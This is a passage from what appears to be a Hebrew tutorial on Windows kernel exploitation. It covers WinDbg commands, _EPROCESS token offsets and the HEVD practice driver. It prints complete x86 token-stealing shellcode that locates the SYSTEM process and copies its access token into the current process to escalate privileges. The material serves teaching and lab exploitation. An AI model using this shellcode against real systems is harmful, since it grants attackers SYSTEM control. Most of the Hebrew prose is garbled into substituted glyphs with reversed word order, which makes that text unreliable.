˭˸˧ˮ ,˸ˣˮˣ˷ˢ ˸ˣˡˣ˵˲ˢ :˭ˢˬ ˢˬ˩ ˶ˣ˵˯ˮ .˫˧˩˶ˡ ˢˬ˩˟ ˰ˡ˧ˬˢ ˸˞ ˠ˧˴ˢ˪ 

o db/dw/dd/dq - ) ˸˧˟ ˨˶ˣ˞˟ ˫˧˩˶˰˩ ˰ˡ˧ˬˢ ˸ˠ˴ˢdb) ˢ˪˧ˬ ,(dw) ˢ˪ˣ˲˩ ˢ˪˧ˬ ,(dword, dd (

) ˸˰˟ˣ˶ˬ ˢ˪˧ˬ ˣ˞qword, dq.( 

o dp -  ˞ˣˢ ˨˶ˣ˞ˢ ˶˷˞˩ ,˫˧˰˧˟˴ˬ˩ ˰ˡ˧ˬˢ ˸ˠ˴ˢ32-bit  ˣ˞64-bit ˪˷ ˢ˶ˣ˦˵˦˧˩˶˞˪ ˫˞˸ˢ˟ ,

.˫˧ˠ˟ˡˬ˷ ˢˬ 

o dc - ˢ ˸ˠ˴ˢ˩ ˭ˢ ˰ˡ˧ˬ-dwords  ˧ˣˣ˸˩ ˭ˢˣASCII. 

o da -  ˧ˣˣ˸˩ ˰ˡ˧ˬˢ ˸ˠ˴ˢASCII. 
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o du -  ˧ˣˣ˸˩ ˰ˡ˧ˬˢ ˸ˠ˴ˢUnicode. 

¶ ˪˩˪ ˸ˣˡˣ˵˲ˢ ˣ˪˪ˢ ˭˸˧ˮ ˱˧˯ˣˢ˪ ˭˧˧˴ˬ ˪ˡˣˠ ˸˶ˤ˰˟ ˸˲˯ˣˢ L<n> ˶˷˞˩ n ˞ˣˢ ˶˲˯ˬ ˫˧˶˟˧˞ˢ ˢ˴˶ˮ˷ 

ˠ˧˴ˢ˪ .ˢˬˠˣˡ˪ ,db eip L2 ˠ˧˴˧ 2 ˫˧˸˟ ˪˥ˢ ˸˟ˣ˸˩ˢˬ ˸ˮ˯˥ˣ˞ˬˢ ˟-eip. 
 

¶ Display Words and Symbols ˡˣ˰ ˸ˣˬ˧˧˵ ,˰ˠ˶ˢ ˣˮ˶˵˯˷ ˸ˣˡˣ˵˲ˢ ˸˶ˣ˷˪ ˱˯ˣˮ˟ :3  ˟ˣ˷˥˷ ˸ˣˡˣ˵˲

 ˭ˢˣ ,˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤˢ ˭˩ˣ˸ ˸ˠ˴ˢ˟ ˸ˣ˵˯ˣ˰˷ ˶˧˩ˢ˪dds, dqs x-dps ˣ˪˪ˢ ˸ˣˡˣ˵˲ˢ .

ˢ ˸ˣ˶˯˥ ˸ˣ˪˧˟˵ˬˢ ˣˬ˩ ˸ˣˡ˵˲˸ˬ-s  ˸ˣ˟ˣ˸˩˪ ˫˧ˬ˧˞˸ˬˢ ˫˧˪ˣ˟ˬ˧˯ˢ ˸˞ ˫ˠ ˸ˣˠ˧˴ˬ ˪˟˞ ,˭ˢ˪˷

"ˮˢ ˥ˣˣ˦˟ ˸ˣ˞˴ˬˮ˷ ˣˬ˩ ,˸ˣ˧˴˵ˮˣ˲ ˪˷ ˸ˣ˞˪˟˦˟ ˫˧ˮˮˣ˟˸ˬ˷˩ ˸ˣ˧˷ˣˬ˧˷ ˡˣ˞ˬ ˣ˪˪ˢ ˸ˣˡˣ˵˲ˢ .˪

ˢ ˢˬˠˣˡ˪-SSDT  ˡˣ˰ ˞ˣ˶˵˪ ˭˸˧ˮ ,ˡˣ˞ˬ ˢ˪ˣˡˠ ˸ˣ˟˧˷˥ ˸˪˰˟ ˪ˮ˶˵˟ ˸˞˴ˬˮ˷ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˢ˪˟˦)

˶ˬ˞ˬ˟ de RootkitsMo-Kernel  ˸˞ˬvbCrLf ˢ ˭ˣ˧˪˧ˠ˟ (˟ˢ˪ ˧˶ˣ˞)-21  ˷ˣˬ˧˷ ˸˶ˤ˰˟ .(˭˧ˤˠˬˢ ˪˷

 ˢˡˣ˵˲˟dps:ˢ˪˟˦˟ ˢ˧˴˵ˮˣ˲ ˪˩ ˸˟˷ˣ˧ ˭˩˧ˢ ˭˧˟ˢ˪ ˡˣ˞ˬ ˥ˣˮ , 

 

¶ Search Memory )s( ˢˡˣ˵˲ˢ :s  ˭ˢˣ ˸ˣˤˣ˶˥ˬ ˭ˢ) ˭ˣ˶˩˧ˤ˟ ˫˧ˬ˧ˣ˯ˬ ˫˧˥ˣˣ˦˟ ˫˧˩˶˰ ˷˲˥˪ ˶˷˲˞ˬ

.(˧˪ˬ˧˴ˡ˯˵ˢ ˠˣ˴˧˧˟ 
 

¶ .cls ˢ ˸˞ ˢ˵ˮˬ-Command view. 
 

¶ Display Type )dt( ˢˡˣ˵˲ˢ :dt  ˢˮ˟ˬ ˣ˞ ˫˧˧˪˞˟ˣ˪ˠ ,˫˧˧˪˞˵ˣ˪ ˫˧ˮ˸˷ˬ ˪˰ ˰ˡ˧ˬ ˸ˠ˴ˢ˪ ˸˷ˬ˷ˬ

:˸ˣ˶ˣ˴ ˶˲˯ˬ˟ ˢ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ .˫˧ˣ˯ˬ 

o dt <struct_symbol> .ˢˮ˟ˬˢ ˸˶ˡˠˢ ˸˞ ˠ˧˴˸ 

o dt <struct_symbol> <address>  ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤˢ ˸˞ ˷˶˲˸address  ˣˮ˶˥˟˷ ˢˮ˟ˬˢ ˧˲ ˪˰

˸ˣ˞ ˠ˧˴˸ˣ.ˣ 

¶ ˸˶˧˶˟˩ ˪ˡ˥ˬ ,ˢˡˣ˵˲ˢ ˞˪ ˠ˧˴˸ ˸ˣˡ˷ ˵ˬˣ˰˟ ˫˧ˣ˯ˬ ,˶ˬˣ˪˩ ˫˞ ˢˮ˟ˬˢ ˣˮ˪˷ ˪˧˩ˬ ˣ˩ˣ˸˟ ˢˡ˷ 

ˢˮ˟ˬˬ ˶˥˞ ,ˢˡˣ˵˲ˢ ˞˪ ˶˯˶˲˸ ˣ˸ˣ˞ .˪˰ ˧ˡ˧ ˸˲˯ˣˢ ˸ˣˡˣ˵ˮ  (.)˱ˣ˯˟ ˢˡˣ˵˲ˢ ,˭˸˧ˮ ˭˧˧˴˪ ˸˞ 

˵ˬˣ˰ˢ ˪˷ ˧˸˸-˸ˣˡ˷ˢ ˢ˴˶ˮ˷ ˢˡˣ˵˲ˢ˷ ˠ˧˴˸ )˶˲˯ˬ ˸ˣˡˣ˵ˮˢ ˞ˣˢ ˵ˬˣ˰ˢ.( 
 

¶ .process ˨˧˪ˢ˸ˢ ˸˞ ˢˮ˷˸ .˶˷˵ˢ ˶ˣ˟˰ ˣ˟ ˫˧˷ˬ˸˷ˬ˷ 
 

¶ !handle  ˪˰ ˰ˡ˧ˬ ˠ˧˴˸handle  ˸ˬ˧˷˶ ˣ˞handles. 
 

¶ !analyze .˸˧˥˩ˣˮˢ ˢ˞˧ˠ˷ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˠ˧˴˸ 
 

¶ !pool  ˸ˣ˞˴˵ˢ ˪˰ ˰ˡ˧ˬ ˠ˧˴˸pool ˢ ˪˩ ˪˰ ˣ˞ ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˟ ˸ˣ˧˲˧˴˲˯-pool. 
 

https://www.digitalwhisper.co.il/files/Zines/0x15/DW21-1-KernelRootkits.pdf
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¶ !dml_proc ˱˯ˣˮ ˰ˡ˧ˬ˪ ˫˶ˣ˷˧˵ ˭˩ˣ ˸˩˶˰ˬ˟ ˫˧˴˶ˢ ˫˧˩˧˪ˢ˸ˢ ˪˩ ˪˷ ˢˬ˧˷˶ ˠ˧˴˸ .˫˧˩˧˪ˢ˸ˢ ˪˰ 
 

¶ !process .˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸ˢ ˪˩ ˪˰ ˣ˞ ,˧˲˧˴˲˯ ˨˧˪ˢ˸ ˪˰ ˰ˡ˧ˬ ˠ˧˴˸ 
 

¶ !drvobj .˧˲˧˴˲˯ ˶˟˧˧˶ˡ ˪˰ ˦˶ˣ˲ˬ ˰ˡ˧ˬ ˠ˧˴˸ 
 

¶ Ctrl+Break .˶ˠ˞˟˧ˡ˪ ˢ˦˧˪˷ˢ ˸˞ ˶˧˟˰˧ˣ ˠ˟ˣˡˬˢ ˸˴˧˶ ˸˞ ˶ˣ˴˰˧ 

 ˰˴˟˪ ˭˸˧ˮ ,˱˯ˣˮ˟scripting ˟-windbg  ˭˲ˣ˞˟ ˭ˣˡˮ ˞˪ .˫˧˶˟ˡ˪ ˸ˣ˧˴ˬˣ˦ˣ˞ ˰˴˟˪ ˨˩ˣ˟ ˢˤˢ ˷ˣˬ˧˷ˢ-

windbg .ˢˤ ˶ˬ˞ˬ˟ 

Token Stealing Shellcode 

˪˩ ˸˞ ˣˮ˪ ˷˧ ,ˢˤˢ ˟˪˷˟ ˪˫˧˪˩ˢ ˫˧˷ˣ˶ˡˢ  ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ˪˪˷ ˣˮ˶˩ˢ ˣ˪˧˲˞ˣ ,˪ˮ˶˵ˢ ˸˞ ˠ˟ˡ˪ ˪˧˥˸ˢ˪

 ˸ˣˡˣ˵˲WinDbg  ˟ˣ˸˩˪ ˪˩ˣˮ ˡ˴˧˩ ˭˧˟ˢ˪ ˭ˣ˧˯˧ˮ˟ ˪ˮ˶˵˟ "˥˶˥˶˪" ˪˧˥˸ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞ ,ˢ˸˰ !ˣˮ˪ ˣ˶ˤ˰˧˷

ˢ ˸˞-shellcode ˮ˪˷ˢ ˸˟˧ˮˠ˪ ˣ-Access Token  ˪˷SYSTEMˢ ˸˟˧˸˩ ˨˶ˣ˴˪ .-shellcode ˨˶ˣ˞ ˪˩˪ˣ ,

 ˣˮ˞ ˣ˪ˣ ˶˟˧˧˶ˡˢ ˫˰ ˫˧˶˷˵˸ˬ ˣˮ˞ ˣ˩˶ˡ ˨˧˪ˢ˸˪ ˭ˣˣ˩˸ˮ "ˣˮ˪˷ ˨˧˪ˢ˸ˢ" ˥ˣˮ˧ˬ˟ ˷ˬ˸˷ˮ ˶˷˞˩ ,˶ˬ˞ˬˢ

.˸ˣ˞˷˶ˢˢ ˸˞ ˸ˣ˪˰ˢ˪ ˫˧˴ˣ˶ 

ˢ ˭˩˧ˢ ˭˧˟ˢ˪ ˣˮ˧˪˰ ,˸˧˷˞˶-Access Token  ˳˶˷ ˨˧˪ˢ˸ ˪˩ .˶ˡˠˣˬ ˨˧˪ˢ˸ ˪˷-˟Windows  ˧ˡ˧ ˪˰ ˠ˴ˣ˧ˬ

 ˠˣ˯ˬ ˧˪ˮ˶˵ ˦˵˧˧˟ˣ˞EPROCESS:ˢˮ˟ˬˢ ˸˞ ˭˥˟ˮ . 

 

 ˪˷ ˦˯˧ˢ˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ0xf8  ˫˷˟ ˢˡ˷ ˞˴ˬˮ ,ˢˮ˟ˬˢ ˸˪˧˥˸ˬ ˫˧˸˟Token  ˠˣ˯ˬ_EX_FAST_REF .

 ˸˞ ˭˥˟ˮ ˫˞_EX_FAST_REF˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮ ,-union  ,˦˵˧˧˟ˣ˞˪ ˰˧˟˴ˬ ˪˷ref-count  .˨˶˰ˣ 
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 ˪˷ ˨˶˰ˢ ˸˞ ˱˧˪˥ˮ ˫˞_EPROCESS.Token ˟ ,ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˸˞ ˠ˴˧˧ˬ˷ ˦˵˧˧˟ˣ˞˟-Token  ˪˷

 ˨˧˪ˢ˸ˢ ˸˞ ˠ˴˧˧ˬ˷ ˦˵˧˧˟ˣ˞ˢSYSTEM ˪˷ ˸ˣ˞˷˶ˢˢ ˪˩ ˸˞ ˪˟˵ˮ ,SYSTEM ˨˩˟ ˧ˡ ˞˪ ˨˞ ,-  ˸ˮˬ ˪˰

˪ ˫ˠ ˯˥˧˧˸ˢ˪ ˣˮ˧˪˰ ,˸˩˶˰ˬˢ ˪˷ ˭˧˵˸ˢ ˡˣ˵˲˸ˢ ˪˰ ˶ˣˬ˷˪-ref-count ˢ ˪˷-Token . 

 

ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-reference-count ˧˧˟ˣ˞ˢ ˪˷ ˪˰ ˭˩˪ ,ˢˮ˟ˬˢ ˪˷ ˫˧ˮˣ˶˥˞ˢ ˫˧˦˧˟ˢ ˸˷ˣ˪˷˟ ˞˴ˬˮ ˦˵

ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ-reference count  ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˨˶˦˴ˮ ˣˬ˴˰Token & 0x3 ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ˣ ,

 ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˣˮ˧˪˰ ˢ˧ˢ˧ ˣˬ˴˰ ˦˵˧˧˟ˣ˞˪ ˰˧˟˴ˬˢToken & 0xFFFFFFF8 ˸˞ ˵˧˸˰ˢ˪ ˢ˴˶ˮ ˶˷˞˩ .

-sToken˟ˣ˞˪ ˰˧˟˴ˬˢ ˸˞ ˳˪˥˪ ˨˶˦˴ˮ ,ˢ ˪˷ ˦˵˧˧-Token  ˪˷SYSTEM  ˢ˪ˣ˰˲ˢ ˸ˣ˰˴ˬ˞˟Token & 

oxFFFFFFF8ˢ ˸˞ ˶ˬ˷˪ˣ ,-ref-count ˢ ˪˷-Token  ˸ˣ˰˴ˬ˞˟ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷Token & 0x3 ˶˥˞˪ˣ ,

 ˰˴˟˪ ˭˩ˬAND .˫ˢ˧ˮ˧˟ 

 ˸ˣˡ˷ˢ ˫ˢ ˫ˢ˟ ˵ˬ˰˸ˢ˪ ˟ˣ˷˥ˣ ˭˧˰˪ ˫˧˦˪ˣ˟˷ ˸ˣˡ˷ ˧ˮ˷ ˡˣ˰UniqueProcessId ˪˷ ˦˯˧ˢ˟ ˞˴ˬˮ˷ ,

0xb4 ˮ˟ˬˢ ˸˪˧˥˸ˬˢ ˶ˣˬ˷ ˣ˟ˣ ,ˢ-PID )Process Identifier ˢˡ˷ˢ ˭˩ˣ ,˨˧˪ˢ˸ˢ ˪˷ (

ActiveProcessLinks ˪˷ ˦˯˧ˢ˟ ˞˴ˬˮ˷ ,0xb8  ˠˣ˯ˬ ˞ˣˢ ˢˤˢ ˢˡ˷ˢ .ˢˮ˟ˬˢ ˸˪˧˥˸ˬ_LIST_ENTRY ,

 ˳ˣ˲ˮ ˢˮ˟ˬ-˟Windows ˣˡ ˸˶˷ˣ˵ˬ ˢˬ˧˷˶ ˶ˣ˞˧˸˪ ˷ˬ˷ˬ˷- ˢˮ˟ˬ˪ .˸˧ˮˣˣ˧˩_LIST_ENTRY  ˸ˣˡ˷ ˧ˮ˷- 

 ˞ˣˢ ˭ˣ˷˞˶ˢFlink˴ˬ ˞ˣˢˣ , ˞ˣˢ ˧ˮ˷ˢˣ ,ˢˬ˧˷˶˟ ˞˟ˢ ˶˟˧˞˪ ˰˧˟Blink ˫ˡˣ˵ˢ ˶˟˧˞˪ ˰˧˟˴ˬ ˞ˣˢˣ ,

 ˪˩ ˶˷˞˩ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸ˢ ˪˪˩ ˸˞ ˸˶˷˵ˬˢ ˢˬ˧˷˶˟ ˶˟ˣˡˬ ,ˣˮ˪˷ ˢ˶˵ˬ˟ .ˢˬ˧˷˶˟

 ˢˡ˷˪ ˫˧˰˧˟˴ˬ ˢˬ˧˷˶˟ ˫˧˰˧˟˴ˬˢActiveProcessLinks .˨˧˪ˢ˸ˢ ˪˷ 

ˢ ˪˷ ˡ˥˞ ˟˪˷-shellcode ˟ ˶ˤ˰˧ˮ :ˣˮ˪ ˶ˣ˶˟ ˶˟˩-ActiveProcessLinks ˢ˷ ˨˧˪ˢ˸ ˷˲˥˪ ˸ˮˬ ˪˰-

UniqueProcessId  ˞ˣˢ ˣ˪˷4 ˢ ˣˢˤ ,˶ˣˬ˞˩)-PID  ˪˷ ˰ˣ˟˵ˢSYSTEMˢ ˸˞ ˵˧˸˰ˮˣ ,(-Token  ˨ˣ˸ ˪˞ ˣ˪˷

-sToken  ˭˧˟ˢ˪ ˞ˣˢ ˣˮ˪ ˶˸ˣˮ˷ ˵˪˥ˢ .ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷- ?ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˨˧˞ 

 ˫ˣ˷˶˪ ˶˷˲˞˷ ˭˟ˣˬ˩shellcode  ˷˲˥˪ ˫˰˲ ˪˩˟ˣ ˧ˬ˞ˮ˧ˡPID ˞ˢ ˨ˬ˯ ˪˰ ˶˥-PID  ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˪˷

˪ ˢ˞˧˶˵ ˧ˡ˧ ˪˰ ˪˟˵˪ ˭˸˧ˮ ˣ˸ˣ˞)-GetCurrentProcessId ˢˬ ?ˢ˦ˣ˷˲ ˶˸ˣ˧ ˣ˪˧˲˞ ˨˶ˡ ˷˧ ˫˞ ˢˬ ˪˟˞ ,(

ˢ ˡˣ˵˪ ˢ˞˧˶˵ˢ ˢ˰˴˟˸ˢ ˣˮˬˬ˷ ˨˧˪ˢ˸˪ ˸˷ˠ˪ ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ ˫˞-Kernel-Mode- ˣ˸ˣ˞ ˷˲˥˪ ˧˪˟ˬ ˧

?˫˧˧˟˧˦˵˞ˢ ˫˧˩˧˪ˢ˸ˢ ˸ˬ˧˷˶˟ 

˟ ˫˧˴˶ ˣˮ˞ ˶˷˞˩-Kernel-Modeˢ ˶ˠˣ˞˟ ,-fs ˟-32 ˣ) ˦˧˟-gs ˟-64 bit ˢˮ˟ˬˢ ˞˴ˬˮ (KPCR -Kernel 

Processor Control Region ˢˮ˟ˬ ˪˧˩ˬ ˢˮ˟ˬˢ .˪ˮ˶˵˪ ˡ˟˰ˬˢ ˪˰ ˰ˡ˧ˬ ˵˲˯˪ ˞˧ˢ ˢˮ˟ˬˢ ˪˷ ˢ˶˦ˬˢ .

˟ ˱˯ˣˮ-offset  ˪˷0x120 ,PRCB - Processor Control Block ˪˷ ˦˯˧ˢ˟ ,ˢˤ ˢˮ˟ˬ˟ .4  ˢˡ˷ ˞˴ˬˮ ˫˧˸˟

 ˫˷˟CurrentThread˪ ˰˧˟˴ˬ ˞ˣˢ˷ ,-_KTHREAD˟ .-_KTHREAD ˪˷ ˦˯˧ˢ˟ ,0x40  ˢˡ˷ ˫˧˧˵ ,˫˧˸˟

 ˢˮ˟ˬˬ_KAPC_STATE  ˫˷˟ApcState˟ ,ˣ˩ˣ˸˟ˣ ,-offset  ˪˷0x10  ˫˷˟ ˢˡ˷ ˫˧˧˵ ,˫˧˸˟Process ,
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 ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˞ˣˢ˷_EPROCESS ˢ ˨˧˧˷ ˣ˧˪˞ ˨˧˪ˢ˸ˢ ˸˞ ˠ˴˧˧ˬ ˶˷˞-thread  ˶˞˸ˬ ˞˟ˢ ˶ˣ˧˞ˢ .˧˥˩ˣˮˢ

˟ ˫˧˶˷˵ˢ ˸˞:˫˧ˮ˟ˬˢ ˭˧ 

 

 ˸˞ ˞ˣ˴ˬ˪ ˨˧˞ ,ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˸˞ ˞ˣ˴ˬ˪ ˨˧˞ ˫˧˰ˡˣ˧ ˣˮ˞ ,ˢ˸˰SYSTEM ˯˧˯˟ ˪˰ .˸ˣ˷˰˪ ˨˧˶˴ ˢˬˣ ,

ˢ ˸˞ ˫ˣ˷˶˪ ˪˩ˣˮ ,ˢˤˢ ˰ˡ˧ˢ-shellcode :ˣˮ˪˷ 

pushad  ; Store all general - purpose registers' state  

 

; Find our process  

mov eax ,  fs :[ 0x124 ]  

mov eax ,  [ eax  + 0x50 ]  

mov ebx ,  eax  

 

FindSystemProcess :  

   mov eax ,  [ eax +0xb8 ]  

   sub  eax ,  0xb8  

   cmp [ eax +0xb4 ],  0x4  

   jne  FindSystemProcess  

 

; Steal access token  

mov ecx ,  [ eax +0xf8 ]  

and  ecx ,  0xFFFFFFF8 

mov edx ,  [ ebx +0xf8 ]  

and  edx ,  0x3  

add  ecx ,  edx  

mov [ ebx +0xf8 ],  ecx  

 

popad  ; Restore all general - purpose registers' state  

ˢˬ ˢˮ˧˵˸ ˢ˶ˤ˥ ˪˷ ˞˷ˣˮˢ ˞ˣˢ ˣ˟ ˣˮ˰ˠˮ ˞˪˷ ˡ˥˞ ˞˷ˣˮ-shellcode ˨˧˷ˬˢ˪ ˪˩ˣ˸ ˸˩˶˰ˬˢ˷ ˸ˮˬ ˪˰ .

ˢ ˸˴˶ˢ ˶˥˞˪ ˡ˧˵˲˸˪-shellcode  ˢˣˣ˥ˮ ˞˪ˣ ,ˣˮ˪˷BSoDˢ˷ ˨˩ ,˸˧ˮ˯˥ˬˢ ˸˞ "˭˵˸˪" ˣˮ˧˪˰ ,-frame 

˲˯˪ ˣˮ˧˪˰ ,˫˧ˣ˯ˬ ˢ˶ˤ˥ ˨˶˰˪ ˢ˲˴ˬ ˞ˣˢ ˫˞ ,˭˩ ˣˬ˩ .˭˧˵˸ ˭˲ˣ˞˟ ˡ˵˲˸˪ ˪˩ˣ˧ ˶ˣˤ˥ˮ ˣ˧˪˞˷ ˭˧˞ .ˣ˸ˣ˞ ˣ˪ ˵

 ˰˴˟˪ ˫˧˴ˣ˶ ˣˮ˞ ˣ˟˷ ˟˪˷˪ ˰˧ˠˮ˷ ˫˰˲ ˪˩˟ ˭˩˪ˣ ,˨˩˪ ˧˪˪˩ ˭ˣ˶˸˲Privilege Escalation  ˡ˴˧˩ ˭˧˟ˢ˪ ˨˶˦˴ˮ

ˢ ˧˶˥˞ ˢˮ˧˵˸ ˢ˴˧˶˪ ˶ˣˤ˥˪ ˭˸˧ˮ-shellcode ˟ .ˣˮ˪˷-shellcode  ˨˶ˣ˞ ˪˩˪ ˷ˬ˸˷ˮ ˢˤ ˱˧˰˯˟ ˣˮ˟˸˩˷

.˶ˬ˞ˬˢ 
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HEVD 

 ˫˧˪˧˥˸ˬ ˣ˟˷ ˵˪˥˪ ˣˮ˰ˠˢ ,ˢ˶˴˵ ˞˪ ˢˬˡ˵ˢ ˧˶˥˞ ˢ˧˶ˣ˞˧˸˟ ˶˟ˡ˪ ˵˶ ˞˪ˣ ˫˧˶˟ˡ ˸ˣ˷˰˪J . 

ˬ ˢ˪˰ˬ˪ ˪˴ˮˮ ,˶ˬ˞ˬˢ ˪˷ ˢˤˢ ˵˪˥ˢ ˨˪ˢˬ˟-10 ˫˷˟ ˶˟˧˧˶ˡ˟ ˸ˣˮˣ˷ ˸ˣ˷˪ˣ˥:HackSys Extreme 

Vulnerable Driver ˪˰ ˵˶ ˸ˣ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˟ ˵ˣ˯˰ˮ ,˶ˬ˞ˬˢ ˸˪˧˥˸˟ ˭˧ˣ˴˷ ˧˲˩ .Windows7 

 ˪˷ ˢ˶ˣ˦˵˦˧˩˶˞˟32bit ˸ˣ˧˦ˮˣˣ˪˶ ˞˪ ˭˞˩ ˠ˧˴ˮ˷ ˸ˣ˷˪ˣ˥ˢˬ ˵˪˥ . ˣ˞ ˶˸ˣ˧ ˸ˣ˷ˡ˥ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟

 ˸˶ˣ˦˵˦˧˩˶˞˟64bit ˫˧˲˵˸ ˭˧˧ˡ˰˷ ˫˧˦˲˯ˮˣ˵ ˫ˮ˷˧ ,˸˞ˤ ˪˩˟ .˧˶ˬˠ˪ ˢˮˣ˷ ˭ˢ˪˷ ˪ˣ˴˧ˮˢ ˭˲ˣ˞˷ ˣ˞ ,

.ˢ˷˪ˣ˥ ˪˩ ˵ˬˣ˰˪ ˶˞˸˪ ˧˸˶˥˟ ˭˩˪ˣ ,(˧ˬ˰˦˪) ˞ˣˢ ˫ˠ ˡˣ˞ˬ ˟ˣ˷˥ ˢ˟˷˥ˬˢ ˭˲ˣ˞ˣ ,˶˧˩ˢ˪ ˟ˣ˷˥˷ˣ 

ˡˣ˵ ˶˟˧˧˶ˡ ˞ˣˢ ˶˟˧˧˶ˡˢ- ˧ˡ˧ ˪˰ ˟˸˩ˮ˷ ,ˢˮˣˣ˩˟ ˰˧ˠ˲ ,˥ˣ˸˲HackSys Team -  ˥˦˟ ˫˸˞) ˡ˥˞ ˶ˣ˥˟

 ˫˧˪˞ˣ˷-  ˢˬ˪ ˤ˞"Team ,˸ˣˣ˴ ˥ˣ˸˲˪ ˢ˴˶ ˞ˣˢ ˶ˣ˵ˬ˟˷ ˢ˪ˣ˰ ˪ˠˣˠ˟ ˶˴˵ ˷ˣ˲˧˥ˬˣ ,˧˸˪˞˷ ˧ˮ˞ ˫ˠ ."?

 ˸ˣ˞ˮˡ˯ ,˶˸˧ˢ ˭˧˟ ,˶˧˟˰ˬ˷ (ˡ˟˪ ˡˣ˟˰˪ ˱˧ˡ˰ˬ ˞ˣˢ˷ ˦˧˪˥ˢ ˫˷ˢ ˸˞ "˵ˣˣ˷˪" ˪˧˥˸ˢ ˶˟˩˷ ˶˥˞˪ ˪˟˞

˯ˢ ˸˞ ˨ˣ˲ˢ˪ ˸ˮˬ ˪˰ .˪ˮ˶˵ ˸˧˧˴˦˧ˣ˪˲˯˵˞˟ˣ ˠˣ˟˧ˡ˟ ˭˧˞ˣ ˦˰ˬ˩˷ ˭ˣˣ˧˩ˬˣ ,˶˸ˣ˧˷ ˢˬ˩ ˸ˣ˧˟˧˦˵˲˞˪ ˸ˣ˞ˮˡ

ExploitMes  ˫˧˧˪ˮ˶˵-˪Windows ˪˰ ˣ˟ ˷ˬ˸˷ˢ˪ˣ ,˭ˣˣ˩ˬ ˭˲ˣ˞˟ ˰˧ˠ˲ ˞ˣˢ˷ ˶˟˧˧˶ˡ ˥˸˲˪ ˦˧˪˥ˢ ˞ˣˢ ,

 ˪˩ ˢ˟ ˢ˯˶ˠ ˫ˠ ˸ˬ˧˧˵ ˶˟˧˧˶ˡ˪ .˪ˮ˶˵˟ ˥ˣ˦˟ ˡˣ˵ ˸˟˧˸˩ ˪˰ˣ ˪ˮ˶˵˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˪˰ ˫˧˷ˮ˞ ˨ˮ˥˪ ˸ˮˬ

 ˸ˣ˞˶ˢ˪ ˸ˮˬ ˪˰ ,ˣˮ˵ˣ˸ ˸ˣ˷˪ˣ˥ˢ.˸ˣ˷˪ˣ˥ˢ ˸˞ ˰ˣˮˬ˪ ˭˸˧ˮ ˡ˴˧˩ ˫˧˥˸˲ˬ˪ 

 ˟˸˩ˮ ˢ˟˶ˢ ˪˰ ˶˟˧˧˶ˡ ˸ˣˡˣ˞ˢˤ  ˣ˸ˣ˞˟ˣ ,ˣ˪ˣ˴˧ˮ˪ ˸ˣ˦˧˷ˣrepository  ˫ˠ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˶˟˧˧˶ˡˢ ˟˷ˣ˧ ˣ˟

 ˧ˡ˧ ˪˰ ˵ˤ˥ˣ˸ˬ ˞ˣˢ ˫ˠ) ˣ˟ ˸ˣ˞˴ˬˮˢ ˸ˣ˷˪ˣ˥ˢˬ ˸˥˞ ˪˩ ˪˴ˮˬ˷ ˦˵˧ˣ˶˲HackSys  ˧ˬ˷˶ ˵˪˥˩ ˰˧ˠˬˣ

ˠˣˢˮ ,ˡˣ˞ˬ ˨ˣ˶˞ ˣ˪˷ ˫˷ˢ˷ ˭ˣˣ˧˩ˬ .(˶˟˧˧˶ˡ˟  ˢ˶˴˵˟ ˣ˪ ˞ˣ˶˵˪HEVD˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˣ˧˪˞ ˯˥˧˧˸ˮ ˨˩ˣ , 

˸˥˞ ˶ˣ˵˯ˮ ,˨˷ˬˢ˟- ˭˸˧ˮ ˡ˴˧˩ ˶˞˸ˮ ,ˢ˷˪ˣ˥ˢ ˠˣ˯ ˪˰ ˶˧˟˯ˮ .˶˟˧˧˶ˡ˟ ˸ˣ˞˴ˬˮˢ ˸ˣ˷˪ˣ˥ˢ ˸˞ ˸˥˞

 ˢ˞˶ˮ ,ˢ˸ˣ˞ ˪˴ˮ˪PoC )Proof of Concept ˨˧˶˴˷ ˸ˣˬ˞˸ˢˢ ˸˞ ˰˴˟ˮ ˭˩ˬ ˶˥˞˪ˣ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ˪ (

˪ ˸ˣ˷˰˪-shellcode ˟˧˧˶ˡˢ˷ ˪˧˟˷˟ ˣˮ˪˷ ˣˮˠ˷ˢ ˡ˴˧˩ ˢ˞˶ˮˣ ,˪ˣ˴˧ˮˢ ˶˥˞˪ ˸˧ˮ˵˸ ˢ˴˧˶˪ ˶ˣˤ˥˧ ˶

 ˸ˣ˞˷˶ˢSYSTEMˢ˧˪˰ ˫ˣ˷˶˪ ˥ˣˮ ˧˪ ˢ˧ˢ ˣ˟ ˶ˡ˯˟ ˸ˣ˶ˡˣ˯ˬ ˭ˢ ,˸ˣ˷˪ˣ˥ˢ ˸˶˧˵˯ ˶ˡ˯˪ ˸ˣ˰ˬ˷ˬ ˭˧˞ ..˭ 

